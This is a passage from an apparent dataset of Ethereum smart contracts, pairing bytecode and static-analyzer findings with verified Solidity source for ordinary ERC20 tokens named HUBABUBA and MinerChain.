087906000818181858888f19350505050158015610421573d6000803e3d6000fd5b505050505050005b34801561043557600080fd5b5061043e61077d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610478578181015183820152602001610460565b50505050905090810190601f1680156104a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bf57600080fd5b506104d7600160a060020a03600435166024356107b4565b604080519115158252519081900360200190f35b3480156104f757600080fd5b5061050061081a565b60408051918252519081900360200190f35b34801561051e57600080fd5b506104d7600160a060020a0360043581169060243516604435610820565b34801561054857600080fd5b50610551610985565b6040805163ffffffff9092168252519081900360200190f35b34801561057657600080fd5b5061050061098a565b34801561058b57600080fd5b50610500610999565b3480156105a057600080fd5b506104d7600160a060020a036004351660243561099f565b3480156105c457600080fd5b50610500600160a060020a0360043516610a8f565b3480156105e557600080fd5b506105ee610aaa565b005b3480156105fc57600080fd5b50610605610b2e565b60408051600160a060020a039092168252519081900360200190f35b34801561062d57600080fd5b506105ee610b3d565b34801561064257600080fd5b5061043e610b94565b34801561065757600080fd5b506104d7600160a060020a0360043516602435610bcb565b34801561067b57600080fd5b50610500610c9a565b34801561069057600080fd5b50610500610ca0565b3480156106a557600080fd5b50610500610ca6565b3480156106ba57600080fd5b506104d7600160a060020a0360043516602435610cb4565b3480156106de57600080fd5b50610500600160a060020a0360043581169060243516610d4d565b34801561070557600080fd5b506105ee600160a060020a0360043516610d78565b600082151561072b57506000610743565b5081810281838281151561073b57fe5b041461074357fe5b92915050565b6000818381151561075657fe5b049392505050565b8181018281101561074357fe5b60008282111561077757fe5b50900390565b60408051808201909152600781527f4442616e676b6f00000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561083757600080fd5b600160a060020a03841660009081526020819052604090205482111561085c57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561088c57600080fd5b600160a060020a0384166000908152602081905260409020546108b5908363ffffffff61076b16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108ea908363ffffffff61075e16565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461092c908363ffffffff61076b16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610ed4833981519152929181900390910190a35060019392505050565b601281565b6a0771d2fa45345aa900000081565b60045481565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156109f457336000908152600260209081526040808320600160a060020a0388168452909152812055610a29565b610a04818463ffffffff61076b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600654600160a060020a03163314610ac157600080fd5b600260065474010000000000000000000000000000000000000000900460ff166002811115610aec57fe5b1415610af757600080fd5b6006805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600654600160a060020a031681565b600654600160a060020a03163314610b5457600080fd5b600260065474010000000000000000000000000000000000000000900460ff166002811115610b7f57fe5b1415610b8a57600080fd5b610b92610e0d565b565b60408051808201909152600381527f44424b0000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610be257600080fd5b33600090815260208190526040902054821115610bfe57600080fd5b33600090815260208190526040902054610c1e908363ffffffff61076b16565b3360009081526020819052604080822092909255600160a060020a03851681522054610c50908363ffffffff61075e16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610ed48339815191529281900390910190a350600192915050565b60055481565b60035481565b69d3c21bcecceda100000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ce8908363ffffffff61075e16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a03163314610d8f57600080fd5b600160a060020a0381161515610da457600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6006805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560055460001015610e9657600554600654600160a060020a0316600090815260208190526040902054610e7a9163ffffffff61075e16565b600654600160a060020a03166000908152602081905260409020555b600654604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610ed0573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209795a72142c020bfdc2c114b64119fa2410077de8db6bc39cbf0ccdc8cf8598c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,040 |
0x1940DaA4CDb3E6b1De04680c47C8adeb5E2F27aC
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_,address oracle_) public {
_name = name_;
_symbol = symbol_;
_mint(oracle_,10000*10**18);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
uint256 ownerBalance = _balances[_msgSender()];
require(ownerBalance >= addedValue, "ERC20: transfer amount exceeds balance");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract HUBABUBA is Ownable, ERC20 {
constructor() public ERC20("HUBABUBA","HUBABUBA",0xC735478EF7562ecc37662FC7c5e521eb835F9Dab){
require(_msgSender() != address(0), "invalid owner address");
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146102a2578063a9059cbb146102ce578063dd62ed3e146102fa578063f2fde38b14610328576100ea565b8063715018a61461026c5780638da5cb5b1461027657806395d89b411461029a576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc578063395093511461021a57806370a0823114610246576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f761034e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103e4565b604080519115158252519081900360200190f35b6101b4610401565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610407565b6102046104b6565b6040805160ff9092168252519081900360200190f35b6101986004803603604081101561023057600080fd5b506001600160a01b0381351690602001356104bb565b6101b46004803603602081101561025c57600080fd5b50356001600160a01b031661057f565b61027461059a565b005b61027e610658565b604080516001600160a01b039092168252519081900360200190f35b6100f7610667565b610198600480360360408110156102b857600080fd5b506001600160a01b0381351690602001356106c8565b610198600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610756565b6101b46004803603604081101561031057600080fd5b506001600160a01b038135811691602001351661076a565b6102746004803603602081101561033e57600080fd5b50356001600160a01b0316610795565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b60006103f86103f16108a9565b84846108ad565b50600192915050565b60035490565b6000610414848484610999565b6001600160a01b0384166000908152600260205260408120816104356108a9565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156104975760405162461bcd60e51b8152600401808060200182810382526028815260200180610b886028913960400191505060405180910390fd5b6104ab856104a36108a9565b8584036108ad565b506001949350505050565b601290565b600080600160006104ca6108a9565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561052c5760405162461bcd60e51b8152600401808060200182810382526026815260200180610b626026913960400191505060405180910390fd5b6105756105376108a9565b8585600260006105456108a9565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054016108ad565b5060019392505050565b6001600160a01b031660009081526001602052604090205490565b6105a26108a9565b6001600160a01b03166105b3610658565b6001600160a01b03161461060e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b600080600260006106d76108a9565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156107425760405162461bcd60e51b8152600401808060200182810382526025815260200180610bf96025913960400191505060405180910390fd5b61057561074d6108a9565b858584036108ad565b60006103f86107636108a9565b8484610999565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61079d6108a9565b6001600160a01b03166107ae610658565b6001600160a01b031614610809576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661084e5760405162461bcd60e51b8152600401808060200182810382526026815260200180610b1a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166108f25760405162461bcd60e51b8152600401808060200182810382526024815260200180610bd56024913960400191505060405180910390fd5b6001600160a01b0382166109375760405162461bcd60e51b8152600401808060200182810382526022815260200180610b406022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109de5760405162461bcd60e51b8152600401808060200182810382526025815260200180610bb06025913960400191505060405180910390fd5b6001600160a01b038216610a235760405162461bcd60e51b8152600401808060200182810382526023815260200180610af76023913960400191505060405180910390fd5b610a2e838383610af1565b6001600160a01b03831660009081526001602052604090205481811015610a865760405162461bcd60e51b8152600401808060200182810382526026815260200180610b626026913960400191505060405180910390fd5b6001600160a01b0380851660008181526001602090815260408083208787039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122035315382dc844445bd3549cd64f0dc9fbf89f0650de21f2cfbbb9406b807d5e964736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 4,041 |
0x2998eb8dfbf7b7ec70d882c1424b7c78d1f6aea9
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MinerChain is StandardToken, Ownable {
// Constants
string public constant name = "Miner Chain";
string public constant symbol = "MCHA";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 21990000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function MinerChain() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600b81526020017f4d696e657220436861696e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffff